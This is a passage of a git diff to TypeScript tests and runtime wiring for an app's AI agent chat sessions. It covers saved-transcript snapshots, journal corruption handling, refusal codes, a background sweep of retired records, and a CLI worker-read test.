hostTestMessage('LATER_SAVED_MARKER'), - { - fence: rig.store.getRecord(SESSION)!.lease.runtimeFence, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ) - gate.resolve() - const first = await pending - if (first.status !== 'current' || !first.transcriptPath) { - throw new Error('Snapshot missing') - } - const path = first.transcriptPath - try { - const file = await readFile(path, 'utf8') - expect(file).toContain('EARLY_SAVED_MARKER') - expect(file).not.toMatch(/PRE_CLEAR_SECRET|DISCARDED_REWIND_SECRET|LATER_SAVED_MARKER/) - expect(first.capturedText?.length).toBeLessThanOrEqual(36_000) - expect(first.capturedText).toContain('Earlier saved chat messages omitted') - expect(first.capturedText).not.toContain('EARLY_SAVED_MARKER') - for (const text of [file, first.capturedText ?? '']) { - const prompts: unknown[] = [...text.matchAll(/^Saved prompt: (.+)$/gm)].map((match) => - JSON.parse(match[1]!) - ) - for (const [name, value] of [ - ['deployment', ' deploy to staging '], - ['explicit empty', ''], - ['whitespace', ' \t'] - ]) { - expect(prompts).toContainEqual(expect.objectContaining(question(name, value))) - } - expect(text).toMatch( - /"question":"unreadable"[^\n]*\nQuestion "input"\nSubmitted answer: unavailable/ - ) - expect(text).toMatch(/Prompt state: pending\nSaved prompt: .*"question":"pending ask"/) - expect(text).toMatch(/Prompt state: cancelled\nSaved prompt: .*"question":"cancelled ask"/) - const legacy = text.split('\n\n').find((row) => row.includes('"question":"legacy answer"'))! - expect(legacy).toContain('"selectedOptionId":"input:legacy%20deployment"') - expect(legacy.split('Legacy free text: "legacy deployment"')).toHaveLength(2) - expect(text).toContain( - 'Question "regions" (Region group)\nSelected choice: East\nSelected choice: West' - ) - expect(text).toContain('"question":"Which regions?"') - expect(text).toContain('"label":"East","description":"Primary region"') - expect(text).toContain( - 'Question "details"\nSelected choice: Known\nSelected choice: unavailable\nSubmitted free text: resolution.answers[1].other' - ) - expect(text).toContain('"other":"partial text"') - expect(text).toMatch(/Confirm yes[\s\S]*Selected choice: Yes/) - expect(text).toMatch(/Confirm no[\s\S]*Selected choice: No/) - expect(text).toContain( - '"subject":{"kind":"plan","text":"RETAINED_PLAN_MARKER","filePath":"/work/plan.md"}' - ) - expect(text).toContain( - '"matchedAskRule":{"source":"workspace","toolName":"Write","ruleContent":"Saved ask rule"}' - ) - expect(text).toContain('Selected choice: Keep planning') - const row = text - .split('\n\n') - .find((entry) => entry.includes('"question":"Edit release notes"'))! - expect(row).toContain('Prompt state: resolved') - expect(row).toContain(JSON.stringify(editor.body.freeTextInput)) - expect(row).toContain(JSON.stringify(answers)) - expect(row).toContain(`"selectedOptionId":${JSON.stringify(selectedOptionId)}`) - expect(row.split('\n').slice(2).join('\n')).toBe( - 'Question "editor"\nSubmitted free text: resolution.answers[0].other' - ) - } - expect(await call('agentSession.continuationContext', params)).toMatchObject([ - { - ok: true, - result: { - status: 'current', - transcriptPath: path, - capturedText: expect.stringContaining('LATER_SAVED_MARKER') - } - } - ]) - expect(await readFile(path, 'utf8')).toContain('LATER_SAVED_MARKER') - expect(await rig.host.continuationContext({ ...params, workspaceId: 'other' })).toEqual({ - status: 'superseded' - }) - expect( - await rig.host.continuationContext({ - ...params, - expectedCursor: { epoch: 'other', sequence: 0 } - }) - ).toEqual({ status: 'superseded' }) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - writing.mockRejectedValueOnce(new Error('disk unavailable')) - expect(await call('agentSession.continuationContext', params)).toMatchObject([{ ok: false }]) - } finally { - await rm(contextSnapshots.agentSessionContextSnapshotRoot(rig.root), { - recursive: true, - force: true - }) - } + // Absent, never an empty list: the composer keeps its own menu. + expect(commands).toMatchObject({ ok: true, result: {} }) + expect(commands?.ok && 'result' in commands && commands.result).not.toHaveProperty('commands', []) + expect(outline).toMatchObject({ ok: true }) + expect(status).toMatchObject({ ok: true }) + expect(held).toMatchObject({ ok: true, result: { held: true } }) }) -it('hands off a readable saved conversation without granting its invalid execution lease authority', async () => { +it('answers the owner check from the record without opening the chat', async () => { await restingChat() - const { cursor } = await rig.host.journalSnapshot(SESSION) - await rig.host.flushAllStreamedEvents() - await editPersistedTestAgentSessionStore(rig.root, (persisted) => { - Object.assign(persisted.records[SESSION].lease, { minimumNextFence: 'bad' }) - }) - await rig.restart() - setStructuredAgentSessionHost(rig.host) - expect(rig.store.getRecord(SESSION)).toBeNull() - expect(rig.store.getConversation(SESSION)?.location.workspaceId).toBe('workspace-1') - const saved = (await readPersistedTestAgentSessionStore(rig.root)).records[SESSION] - const params = { sessionId: SESSION, workspaceId: 'workspace-1', expectedCursor: cursor } - const result = await rig.host.continuationContext(params) - expect(result).toMatchObject({ - status: 'current', - capturedText: expect.stringContaining('hello') - }) - if (result.status !== 'current' || !result.transcriptPath) { - throw new Error('Saved conversation snapshot missing') + + const [status] = await call('agentSession.handoffStatus', { sessionId: SESSION }) + + expect(status).toMatchObject({ ok: true, result: { owner: expect.any(String) } }) + expect(fixture.rig.host.hasSession(SESSION)).toBe(false) +}) + +it('starts the agent on the first send (P2-01)', async () => { + await restingChat() + const fence = fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence + const sent = await fixture.rig.host.send(CALLER, restTestSend('wake up', fence)) + if (!sent.ok) { + throw new Error(`send refused: ${sent.refusal.code}`) } - expect(await readFile(result.transcriptPath, 'utf8')).toContain('hello') - expect(await call('agentSession.continuationContext', params)).toMatchObject([ - { ok: true, result } + // Awaits the provider's answer itself rather than polling for it, however slow the start. + await fixture.rig.host.waitForSendSettlement(SESSION, sent.value.clientMessageId) + expect(fixture.rig.adapter.acquire).toHaveBeenCalledOnce() + expect(fixture.rig.adapter.dispatch).toHaveBeenCalledOnce() +}) + +it('opens a closed conversation once, however many readers arrive together (P2-02)', async () => { + const attached = await fixture.rig.host.attach(CALLER, hostTestAttachParams(null)) + expect(attached.ok).toBe(true) + fixture.rig.adapter.acquire.mock.calls + .at(-1)?.[0] + .events?.appendItem( + { provider: 'codex', threadId: REST_TEST_THREAD, turnId: 'turn-1', ordinal: 1 }, + hostTestMessage('from the provider'), + { turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + await fixture.rig.host.flushStreamedEvents(SESSION) + await fixture.rig.restart() + setStructuredAgentSessionHost(fixture.rig.host) + fixture.rig.adapter.acquire.mockClear() + const open = vi.spyOn(fixture.rig.host.collaboratorsForTests().conversationDelivery, 'open') + await Promise.all([ + ...Array.from({ length: 5 }, () => + call('agentSession.history', { sessionId: SESSION, direction: 'tail' }) + ), + call('agentSession.subscribe', { sessionId: SESSION }) ]) - for (const stale of [ - { ...params, workspaceId: 'other' }, - { ...params, expectedCursor: { ...cursor, epoch: 'other' } }, - { ...params, expectedCursor: { ...cursor, sequence: cursor.sequence + 1 } } - ]) { - expect(await rig.host.continuationContext(stale)).toEqual({ status: 'superseded' }) + const openedJournals = new Set(await Promise.all(open.mock.results.map((result) => result.value))) + expect(openedJournals.size).toBe(1) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() +}) + +it('opens nothing once quit began, for a read that was already waiting on the lock', async () => { + await restingChat() + // The host's per-session queue, held so the read waits behind it. + const { serialize, lifetime } = fixture.rig.host.collaboratorsForTests() + let release = (): void => undefined + const held = new Promise((started) => { + void serialize(SESSION, () => { + started() + return new Promise((resolve) => (release = resolve)) + }) + }) + await held + const read = fixture.rig.host.history({ sessionId: SESSION, direction: 'tail' }) + + // Disposed as quit's first teardown step does. + lifetime.dispose() + release() + + await expect(read).rejects.toThrow() + expect(fixture.rig.host.hasSession(SESSION)).toBe(false) +}) + +it('refuses a read it cannot open with the reason, under the same code and message', async () => { + const [missing] = await call('agentSession.history', { + sessionId: 'session-never-created', + direction: 'tail' + }) + expect(missing).toMatchObject({ + ok: false, + error: { + code: 'agent_session_identity_required', + message: 'agent_session_identity_required', + data: { + refusal: { + code: 'agent_session_identity_required', + details: { reason: 'recordMissing' } + } + } + } + }) +}) + +it('refuses a read whose journal will not open with the classified reason, never the storage text', async () => { + await restingChat() + const open = vi.spyOn(fixture.rig.host.collaboratorsForTests().conversationDelivery, 'open') + vi.spyOn(console, 'warn').mockImplementation(() => undefined) + const storagePath = '/Users/someone/.orca/journals/session-1/journal.sqlite' + const failWith = (error: Error): void => { + open.mockRejectedValue(error) } - expect(rig.store.getRecord(SESSION)).toBeNull() - expect((await readPersistedTestAgentSessionStore(rig.root)).records[SESSION]).toEqual(saved) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - expect(rig.adapter.dispatch).not.toHaveBeenCalled() + const failures = async (): Promise => + [ + ...(await call('agentSession.history', { sessionId: SESSION, direction: 'tail' })), + ...(await call('agentSession.subscribe', { sessionId: SESSION })), + ...(await call('agentSession.options', { sessionId: SESSION })) + ].filter((reply) => !reply.ok) + + failWith( + Object.assign(new Error(`file is not a database: ${storagePath}`), { + code: 'ERR_SQLITE_ERROR', + errcode: 26 + }) + ) + const corrupt = await failures() + failWith(Object.assign(new Error(`EACCES: permission denied, open '${storagePath}'`), {})) + const unavailable = await failures() + + for (const [replies, reason] of [ + [corrupt, 'journalCorrupt'], + [unavailable, 'journalUnavailable'] + ] as const) { + expect(replies).toHaveLength(3) + for (const reply of replies) { + expect(reply).toMatchObject({ + ok: false, + error: { + // Released clients still read this refusal code from the message, not passthrough code. + code: 'runtime_error', + message: 'agent_session_journal_unreadable', + data: { refusal: { code: 'agent_session_journal_unreadable', details: { reason } } } + } + }) + expect(JSON.stringify(reply)).not.toContain(storagePath) + } + } +}) + +it('logs a reader reconnecting to a journal that will not open once per failure', async () => { + await restingChat() + const open = vi.spyOn(fixture.rig.host.collaboratorsForTests().conversationDelivery, 'open') + const warn = vi.spyOn(console, 'warn').mockImplementation(() => undefined) + const logged = (): unknown[] => + warn.mock.calls + .filter( + ([line]) => + line === '[agent-session] open-for-read: opening the conversation for a read failed' + ) + .map(([, fields]) => fields?.error) + const reconnect = async (): Promise => [ + ...(await call('agentSession.subscribe', { sessionId: SESSION })), + ...(await call('agentSession.history', { sessionId: SESSION, direction: 'tail' })) + ] + const denied = new Error('EACCES: permission denied') + const exhausted = new Error('EMFILE: too many open files') + + open.mockRejectedValue(denied) + for (let attempt = 0; attempt < 4; attempt += 1) { + // Every attempt is still refused with its reason; only the log is quiet. + expect((await reconnect()).filter((reply) => !reply.ok)).toHaveLength(2) + } + expect(logged()).toEqual([denied]) + open.mockRejectedValue(exhausted) + await reconnect() + await reconnect() + expect(logged()).toEqual([denied, exhausted]) +}) + +it('refuses a damaged journal as unloadable at subscribe and send, and keeps its rows (P2-03)', async () => { + await foundRestTestChat(fixture.rig) + await fixture.rig.host.flushAllStreamedEvents() + openTestJournalHostDatabase(fixture.rig.root) + .db.prepare( + "UPDATE journal_outcomes SET value_json = '}{' WHERE generation = (SELECT generation FROM journal_outcome_epochs WHERE session_id = ?) AND seq = 2" + ) + .run(SESSION) + await fixture.rig.restart() + setStructuredAgentSessionHost(fixture.rig.host) + + const frames = await call('agentSession.subscribe', { sessionId: SESSION }) + expect(frames.find((frame) => !frame.ok)).toMatchObject({ + error: { + data: { + refusal: { + code: 'agent_session_journal_unreadable', + details: { reason: 'journalCorrupt' } + } + } + } + }) + const fence = fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence + expect( + await fixture.rig.host.send(CALLER, restTestSend('after the damage', fence)) + ).toMatchObject({ + ok: false, + refusal: { code: 'agent_session_journal_unreadable', details: { reason: 'journalCorrupt' } } + }) + expect( + openTestJournalHostDatabase(fixture.rig.root) + .db.prepare( + 'SELECT value_json FROM journal_outcomes WHERE generation = (SELECT generation FROM journal_outcome_epochs WHERE session_id = ?) AND seq = 2 LIMIT 1' + ) + .get(SESSION)?.value_json + ).toBe('}{') +}) + +it('subscribes an old mobile client that holds first even when no agent can start (P2-06)', async () => { + await restingChat() + fixture.rig.adapter.acquire.mockRejectedValue(new Error('auth expired')) + + const [held] = await call('agentSession.hold', { sessionId: SESSION, holderId: 'mobile' }) + const frames = await call('agentSession.subscribe', { sessionId: SESSION }) + expect(held).toMatchObject({ ok: true }) + expect(frames.find((frame) => frame.ok)).toMatchObject({ result: { type: 'snapshot' } }) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() }) diff --git a/src/main/runtime/rpc/methods/structured-agent-session-rest-contract-test-fixture.ts b/src/main/runtime/rpc/methods/structured-agent-session-rest-contract-test-fixture.ts new file mode 100644 index 00000000000..8213675518b --- /dev/null +++ b/src/main/runtime/rpc/methods/structured-agent-session-rest-contract-test-fixture.ts @@ -0,0 +1,98 @@ +import { afterEach, beforeEach, vi } from 'vitest' +import { STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY } from '../../../../shared/protocol-version' +import { setStructuredAgentSessionHost } from '../../../native-chat/agent-session-wire/structured-agent-session-registry' +import { + createRestTestRig, + foundRestTestChat, + REST_TEST_SESSION as SESSION, + type RestTestRig +} from '../../../native-chat/agent-session-wire/structured-agent-session-rest-test-rig' +import { OrcaRuntimeService } from '../../orca-runtime' +import type { RpcResponse } from '../core' +import { RpcDispatcher } from '../dispatcher' +import { STRUCTURED_AGENT_SESSION_METHODS } from './structured-agent-session' +import type * as fileOperations from 'node:fs/promises' +import * as contextSnapshots from '../../../native-chat/agent-session-context-snapshots' + +vi.mock('node:fs/promises', { spy: true }) +export const actualFiles = await vi.importActual('node:fs/promises') + +export const CLIENT = { + clientId: 'device-1', + clientKind: 'runtime' as const, + clientCapabilities: [STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY], + connectionId: 'connection-1' +} + +let rig: RestTestRig + +let dispatcher: RpcDispatcher + +let requests = 0 + +export async function call(method: string, params: unknown): Promise { + const replies: RpcResponse[] = [] + requests += 1 + await dispatcher.dispatchStreaming( + { id: `request-${requests}`, authToken: 'token', method, params }, + (raw) => replies.push(JSON.parse(raw) as RpcResponse), + CLIENT + ) + return replies +} + +/** A chat that once ran, reopened by a fresh host: nothing of it is in memory. */ + +export async function restingChat(): Promise { + await foundRestTestChat(rig) + await rig.store.replaceSessionOptions({ + sessionId: SESSION, + fence: rig.store.getRecord(SESSION)!.lease.runtimeFence, + options: { model: 'gpt-saved', effort: 'high' }, + now: rig.clock.now + }) + await rig.restart() + setStructuredAgentSessionHost(rig.host) + rig.adapter.acquire.mockClear() + rig.adapter.dispatch.mockClear() + rig.adapter.readOptions.mockClear() +} + +beforeEach(async () => { + requests = 0 + rig = await createRestTestRig({ idleSweep: { intervalMs: 3_600_000 } }) + setStructuredAgentSessionHost(rig.host) + const runtime = new OrcaRuntimeService() + dispatcher = new RpcDispatcher({ runtime, methods: STRUCTURED_AGENT_SESSION_METHODS }) +}) + +afterEach(async () => { + vi.restoreAllMocks() + setStructuredAgentSessionHost(null) + await rig.dispose() + await actualFiles.rm(contextSnapshots.agentSessionContextSnapshotRoot(rig.root), { + recursive: true, + force: true + }) +}) + +export const fixture = { + get dispatcher() { + return dispatcher + }, + set dispatcher(value: typeof dispatcher) { + dispatcher = value + }, + get requests() { + return requests + }, + set requests(value: typeof requests) { + requests = value + }, + get rig() { + return rig + }, + set rig(value: typeof rig) { + rig = value + } +} diff --git a/src/main/runtime/structured-agent-runtime-registrations.ts b/src/main/runtime/structured-agent-runtime-registrations.ts index 67f68bbab6c..3fe613b2500 100644 --- a/src/main/runtime/structured-agent-runtime-registrations.ts +++ b/src/main/runtime/structured-agent-runtime-registrations.ts @@ -11,7 +11,7 @@ import { CODEX_STRUCTURED_AGENT } from '../codex/codex-structured-agent-definiti import { CLAUDE_STRUCTURED_AGENT } from '../claude/claude-structured-agent-definition' import { agentModelCatalogStore } from '../native-chat/agent-model-catalog/agent-model-catalog-store' import { agentSessionAttachmentStoreRoot } from '../native-chat/agent-session-attachments/agent-session-attachment-references' -import { replayJournal } from '../native-chat/agent-session-journal/journal-open' +import { restoreJournal } from '../native-chat/agent-session-journal/journal-open' import { createStructuredClaudeRuntimeAdapter } from './structured-claude-runtime-adapter' import type { AcpLaunchSpec } from '../acp/acp-launch-specs' import { acpStructuredAgentDefinition } from '../acp/acp-structured-agent-definitions' @@ -151,7 +151,7 @@ function createAcpAdapter( ): StructuredAgentRuntimeRegistration['createAdapter'] { return (context) => { const { deps, followUps } = context - const readJournal = (sessionId: string) => replayJournal(context.journalDatabase.db, sessionId) + const readJournal = (sessionId: string) => restoreJournal(context.journalDatabase.db, sessionId) const definition = acpStructuredAgentDefinition(spec) const sources = structuredAgentLaunchSources(context) const part = acpStructuredLaunchPart(spec, { diff --git a/src/main/runtime/structured-agent-session-attachment-wiring.test.ts b/src/main/runtime/structured-agent-session-attachment-wiring.test.ts index 83b4eb2f2d3..0a43ac64fca 100644 --- a/src/main/runtime/structured-agent-session-attachment-wiring.test.ts +++ b/src/main/runtime/structured-agent-session-attachment-wiring.test.ts @@ -6,8 +6,12 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { getAgentSessionAttachmentStore } from '../native-chat/agent-session-attachments/agent-session-attachment-store-registry' import { agentSessionAttachmentStoreRoot } from '../native-chat/agent-session-attachments/agent-session-attachment-references' import { createStructuredAgentSessionLogger } from '../native-chat/agent-session-wire/structured-agent-session-logger' +import * as attachmentSweeps from '../native-chat/agent-session-attachments/agent-session-attachment-sweep' +import { + closeTestJournalHostDatabases, + openTestJournalHostDatabase +} from '../native-chat/agent-session-journal/journal-host-database-test-support' import type Database from '../sqlite/sync-database' -import type { JournalHostDatabase } from '../native-chat/agent-session-journal/journal-host-database' import type { AgentSessionRecordStore } from './agent-session-record-store' import { installAgentSessionAttachments, @@ -22,19 +26,26 @@ beforeEach(async () => { afterEach(async () => { stopAgentSessionAttachments() + vi.useRealTimers() + vi.restoreAllMocks() + await closeTestJournalHostDatabases() await rm(stateDirectory, { recursive: true, force: true }) }) +const records: Pick = { + getRecord: () => null, + isSessionUnreadable: () => false +} + function install(directory = stateDirectory): void { - const records: Pick = { - getRecord: () => null, - isSessionUnreadable: () => false - } - // Written by a newer Orca: the sweep reads no claims, so nothing here touches the connection. - const journal: Pick = { + // Written by a newer Orca: the sweeps read no claims, so nothing here touches the connection. + const journal: Parameters[0]['journalDatabase'] = { writeAutocommit: () => { throw new Error('not opened in this test') }, + transaction: () => { + throw new Error('not opened in this test') + }, readOnly: true, isClosed: false, get db(): Database.Database { @@ -67,4 +78,41 @@ describe('installAgentSessionAttachments', () => { expect(getAgentSessionAttachmentStore()?.rootDir).toBe(agentSessionAttachmentStoreRoot(blocked)) warn.mockRestore() }) + + it("starts the chat database's sweep of retired records and stops it with the attachments", async () => { + vi.useFakeTimers() + vi.spyOn(attachmentSweeps, 'startAgentSessionAttachmentSweeps').mockReturnValue({ + stop: () => undefined + }) + const database = openTestJournalHostDatabase(stateDirectory) + const retire = () => + database.transaction((db) => { + const generation = db + .prepare('INSERT INTO journal_outcome_generations (session_id, epoch) VALUES (?, ?)') + .run('gone', 'gone-epoch').lastInsertRowid + db.prepare(`INSERT INTO journal_outcomes + (generation, seq, field, entry_key, format, ordinal, value_json, deleted) + VALUES (?, 1, 'aliases', '"k"', 1, 's0000000000000001:0000000000000000', '["k","v"]', 0)`).run( + generation + ) + }) + const retired = () => + database.db.prepare('SELECT COUNT(*) AS n FROM journal_outcome_generations').get()?.n + retire() + installAgentSessionAttachments({ + stateDirectory, + store: records, + journalDatabase: database, + logger: createStructuredAgentSessionLogger() + }) + await vi.advanceTimersByTimeAsync(59_999) + expect(retired()).toBe(1) + // The first pass a minute after launch: the records page, a rest, then the generation row. + await vi.advanceTimersByTimeAsync(1_000) + expect(retired()).toBe(0) + retire() + stopAgentSessionAttachments() + await vi.advanceTimersByTimeAsync(12 * 60 * 60_000) + expect(retired()).toBe(1) + }) }) diff --git a/src/main/runtime/structured-agent-session-attachment-wiring.ts b/src/main/runtime/structured-agent-session-attachment-wiring.ts index 81a9aa96473..44f687e222d 100644 --- a/src/main/runtime/structured-agent-session-attachment-wiring.ts +++ b/src/main/runtime/structured-agent-session-attachment-wiring.ts @@ -1,5 +1,6 @@ // Keep chat attachment storage/sweeps beside the journal; its database owns upload claims the sweeps honor. +import { JournalOutcomeSweeper } from '../native-chat/agent-session-journal/journal-outcome-cleanup' import { mkdirSync } from 'node:fs' import { AgentSessionAttachmentStore } from '../native-chat/agent-session-attachments/agent-session-attachment-store' import { @@ -19,14 +20,26 @@ const FIRST_SWEEP_DELAY_MS = 60 * 1000 const SWEEP_INTERVAL_MS = 6 * 60 * 60 * 1000 let sweeper: AgentSessionAttachmentSweeper | null = null +let journalSweeper: JournalOutcomeSweeper | null = null export function installAgentSessionAttachments(deps: { stateDirectory: string store: Pick - journalDatabase: Pick + journalDatabase: Pick< + JournalHostDatabase, + 'readOnly' | 'isClosed' | 'db' | 'writeAutocommit' | 'transaction' + > logger: StructuredAgentSessionLogger }): void { stopAgentSessionAttachments() + journalSweeper = new JournalOutcomeSweeper({ + database: () => deps.journalDatabase, + onError: (error) => + deps.logger.warn('retired chat records could not be deleted', { + scope: 'journal-outcome-sweep', + error + }) + }).start() const root = agentSessionAttachmentStoreRoot(deps.stateDirectory) // Before any Claude starts: Claude drops an added directory that does not exist yet, for good. try { @@ -69,6 +82,8 @@ export function installAgentSessionAttachments(deps: { } export function stopAgentSessionAttachments(): void { + journalSweeper?.stop() + journalSweeper = null sweeper?.stop() sweeper = null setAgentSessionAttachmentStore(null) diff --git a/src/main/runtime/structured-agent-session-codex-interrupt-order.test.ts b/src/main/runtime/structured-agent-session-codex-interrupt-order.test.ts index 5009cf0d909..6fd3dbded9d 100644 --- a/src/main/runtime/structured-agent-session-codex-interrupt-order.test.ts +++ b/src/main/runtime/structured-agent-session-codex-interrupt-order.test.ts @@ -24,10 +24,10 @@ import { import type { StructuredAgentSessionHost } from '../native-chat/agent-session-wire/structured-agent-session-host' import { closeTestJournalHostDatabases, - liveTestJournalRows, + readTestJournalOutcomes, openTestJournalHostDatabase } from '../native-chat/agent-session-journal/journal-host-database-test-support' -import { parseJournalRow } from '../native-chat/agent-session-journal/journal-row-schema' +import { fields } from '../native-chat/agent-session-journal/journal-state-schema' import { createStructuredAgentSessionLogger } from '../native-chat/agent-session-wire/structured-agent-session-logger' import { ensureStructuredAgentSessionHost, @@ -98,21 +98,14 @@ async function stop(turnId?: string): Promise { /** Every end row written for turn-1, as a row or a lifecycle batch's mutation, in order. */ function turnEndRows(): AgentJournalTurnItem[] { - return liveTestJournalRows(openTestJournalHostDatabase(root).db, SESSION).flatMap((stored) => { - const parsed = parseJournalRow(stored.rowJson) - if (!parsed.ok) { + return readTestJournalOutcomes(openTestJournalHostDatabase(root).db, SESSION).flatMap((value) => { + if (value.field !== 'items' || value.deleted) { return [] } - const { row } = parsed - const bodies = row.kind === 'lifecycle-batch' ? row.mutations : [row] - return bodies.flatMap((entry) => - entry.kind === 'item' && - entry.body.kind === 'turn' && - entry.body.turnId === 'turn-1' && - entry.body.state !== 'running' - ? [entry.body] - : [] - ) + const { body } = fields.items.element.parse(JSON.parse(value.json)) + return body.kind === 'turn' && body.turnId === 'turn-1' && body.state !== 'running' + ? [body] + : [] }) } diff --git a/src/main/runtime/structured-agent-session-codex-settlement-order.test.ts b/src/main/runtime/structured-agent-session-codex-settlement-order.test.ts index acfa3a122d6..1c969f14a64 100644 --- a/src/main/runtime/structured-agent-session-codex-settlement-order.test.ts +++ b/src/main/runtime/structured-agent-session-codex-settlement-order.test.ts @@ -13,7 +13,8 @@ import { codexTurnLifecycleFake } from '../codex/codex-turn-lifecycle-fake' import { computeAgentSessionPayloadFingerprint } from '../../shared/agent-session-mutation-envelope' import type { AgentJournalDispatchState, - AgentJournalTurnItem + AgentJournalTurnItem, + AgentJournalItemBody } from '../../shared/agent-session-journal-types' import { HOST_TEST_SESSION as SESSION, @@ -24,14 +25,10 @@ import { import type { StructuredAgentSessionHost } from '../native-chat/agent-session-wire/structured-agent-session-host' import { closeTestJournalHostDatabases, - liveTestJournalRows, + readTestJournalOutcomes, openTestJournalHostDatabase } from '../native-chat/agent-session-journal/journal-host-database-test-support' -import { - parseJournalRow, - type JournalLifecycleMutation, - type JournalRow -} from '../native-chat/agent-session-journal/journal-row-schema' +import { fields } from '../native-chat/agent-session-journal/journal-state-schema' import { createStructuredAgentSessionLogger } from '../native-chat/agent-session-wire/structured-agent-session-logger' import { ensureStructuredAgentSessionHost, @@ -83,20 +80,27 @@ async function send(text: string): Promise { } /** A stored row, or one mutation of a lifecycle batch: what a settlement or a frame lands as. */ -type JournalEntry = JournalRow | JournalLifecycleMutation +type JournalEntry = + | { kind: 'item'; body: AgentJournalItemBody } + | { kind: 'dispatch'; clientMessageId: string; state: AgentJournalDispatchState } -/** The sequence of the first row that `matches`, or of the lifecycle batch carrying it. */ +/** Outcomes preserve the sequence at which a verdict or whole item committed. */ function seqOf(matches: (entry: JournalEntry) => boolean): number | undefined { - return liveTestJournalRows(openTestJournalHostDatabase(root).db, SESSION).find((stored) => { - const parsed = parseJournalRow(stored.rowJson) - if (!parsed.ok) { + return readTestJournalOutcomes(openTestJournalHostDatabase(root).db, SESSION).find((value) => { + if (value.deleted) { return false } - const { row } = parsed - return ( - matches(row) || - (row.kind === 'lifecycle-batch' && row.mutations.some((mutation) => matches(mutation))) - ) + if (value.field === 'items') { + return matches({ + kind: 'item', + body: fields.items.element.parse(JSON.parse(value.json)).body + }) + } + if (value.field === 'submissions') { + const [id, submission] = fields.submissions.element.parse(JSON.parse(value.json)) + return matches({ kind: 'dispatch', clientMessageId: id, state: submission.dispatchState }) + } + return false })?.seq } diff --git a/src/main/runtime/structured-chat-dispatch-worker-lifecycle.test.ts b/src/main/runtime/structured-chat-dispatch-worker-lifecycle.test.ts index 88e40db7e8d..05955c8c88b 100644 --- a/src/main/runtime/structured-chat-dispatch-worker-lifecycle.test.ts +++ b/src/main/runtime/structured-chat-dispatch-worker-lifecycle.test.ts @@ -1,10 +1,18 @@ import './rpc/unused-default-rpc-methods.test-fixture' +import { execFile } from 'node:child_process' +import { createRequire } from 'node:module' +import { join } from 'node:path' +import { pathToFileURL } from 'node:url' +import { promisify } from 'node:util' import { describe, expect, it, vi } from 'vitest' import { formatOrcaSessionAddress } from '../../shared/orca-session-address' import { testOrcaSessionId } from '../../shared/orca-session-address-test-fixture' import { idOf } from './rpc/orchestration-session-caller-test-fixture' import { closeStructuredAgentSessionChild } from './agent-session/structured-agent-session-close' +import { restoreJournal } from '../native-chat/agent-session-journal/journal-open' +import { OrcaRuntimeRpcServer } from './runtime-rpc' +import { ORCHESTRATION_METHODS } from './rpc/methods/orchestration' import type { FakeConnection } from './structured-chat-coordinator-fake-codex-fixture' import { COORDINATOR, @@ -13,17 +21,79 @@ import { call, clearChat, coordinatorRunAndTask, + codex, db, dispatcher, host, openChat, request, + root, + runtime, sendUserMessage, settleTurn, startClearedContext } from './structured-chat-coordinator-mail-rig.test-fixture' const WORKER = formatOrcaSessionAddress(testOrcaSessionId(PEER_CHAT)) +const cliPath = join(process.cwd(), 'src/cli/index.ts') +const tsxLoader = pathToFileURL(createRequire(import.meta.url).resolve('tsx')).href + +async function readWorkerThroughCli(dispatchId: string): Promise { + const env = { ...process.env } + for (const name of [ + 'HOME', + 'USERPROFILE', + 'APPDATA', + 'LOCALAPPDATA', + 'XDG_CONFIG_HOME', + 'XDG_CACHE_HOME', + 'XDG_DATA_HOME', + 'XDG_STATE_HOME', + 'XDG_RUNTIME_DIR', + 'CLAUDE_CONFIG_DIR', + 'CODEX_HOME', + 'ORCA_E2E_HOME_DIR', + 'ORCA_E2E_USER_DATA_DIR', + 'ORCA_USER_DATA_PATH' + ]) { + env[name] = root + } + for (const name of [ + 'ORCA_ENVIRONMENT', + 'ORCA_PAIRING_CODE', + 'ORCA_REMOTE_PAIRING', + 'ORCA_RUNTIME_SOURCE_ID', + 'ORCA_RUNTIME_SOURCE_INCARNATION', + 'ORCA_RUNTIME_SOURCE_PROFILE_PATH', + 'ORCA_TERMINAL_HANDLE', + 'ORCA_PANE_KEY', + 'ORCA_AGENT_LAUNCH_TOKEN', + 'ORCA_STRUCTURED_SESSION' + ]) { + env[name] = '' + } + env.ORCA_AGENT_SESSION_ID = COORDINATOR + env.ORCA_BACKGROUND_LAUNCH = '1' + env.ORCA_DISABLE_MACOS_LOGIN_SHELL = '1' + // execFile owns its child handle, bounds its lifetime, and awaits exit before server cleanup. + const { stdout } = await promisify(execFile)( + process.execPath, + [ + '--import', + tsxLoader, + '--conditions=orca-source', + cliPath, + 'orchestration', + 'worker-read', + '--dispatch', + dispatchId, + '--source', + 'transcript' + ], + { cwd: root, env, timeout: 15_000, windowsHide: true, encoding: 'utf8' } + ) + return stdout +} /** A Dispatch of the coordinator's task to the peer chat, both chats open. */ async function dispatchToChat(): Promise<{ @@ -226,9 +296,36 @@ describe("a chat assignee's liveness, stop and close", () => { await vi.waitFor(() => expect(worker.turns).toHaveLength(1), WAIT) await settleTurn(PEER_CHAT, 0) - const read = await call('orchestration.workerRead', { dispatch: dispatchId }) + const journal = host.collaboratorsForTests().sessions.get(PEER_CHAT)?.journal + if (!journal) { + throw new Error('Worker conversation was not opened') + } + const prefix = journal.cursor() + await host.close(PEER_CHAT, 'evict') + expect(host.hasSession(PEER_CHAT)).toBe(false) + const saved = restoreJournal(host.deps.journalDatabase.db, PEER_CHAT)?.state + expect(saved?.lastSequence).toBeGreaterThanOrEqual(prefix.sequence) + const acquisitions = codex.connections.length + const server = new OrcaRuntimeRpcServer({ + runtime, + userDataPath: root, + enableWebSocket: false, + methods: ORCHESTRATION_METHODS + }) + try { + await server.start() + const output = await readWorkerThroughCli(dispatchId) + expect(output).toContain('Source: transcript (provider=codex)') + expect(output).toContain('working on it') + expect(host.hasSession(PEER_CHAT)).toBe(true) + expect(codex.connections).toHaveLength(acquisitions) - expect(read).toMatchObject({ source: 'transcript', status: { liveness: 'live' } 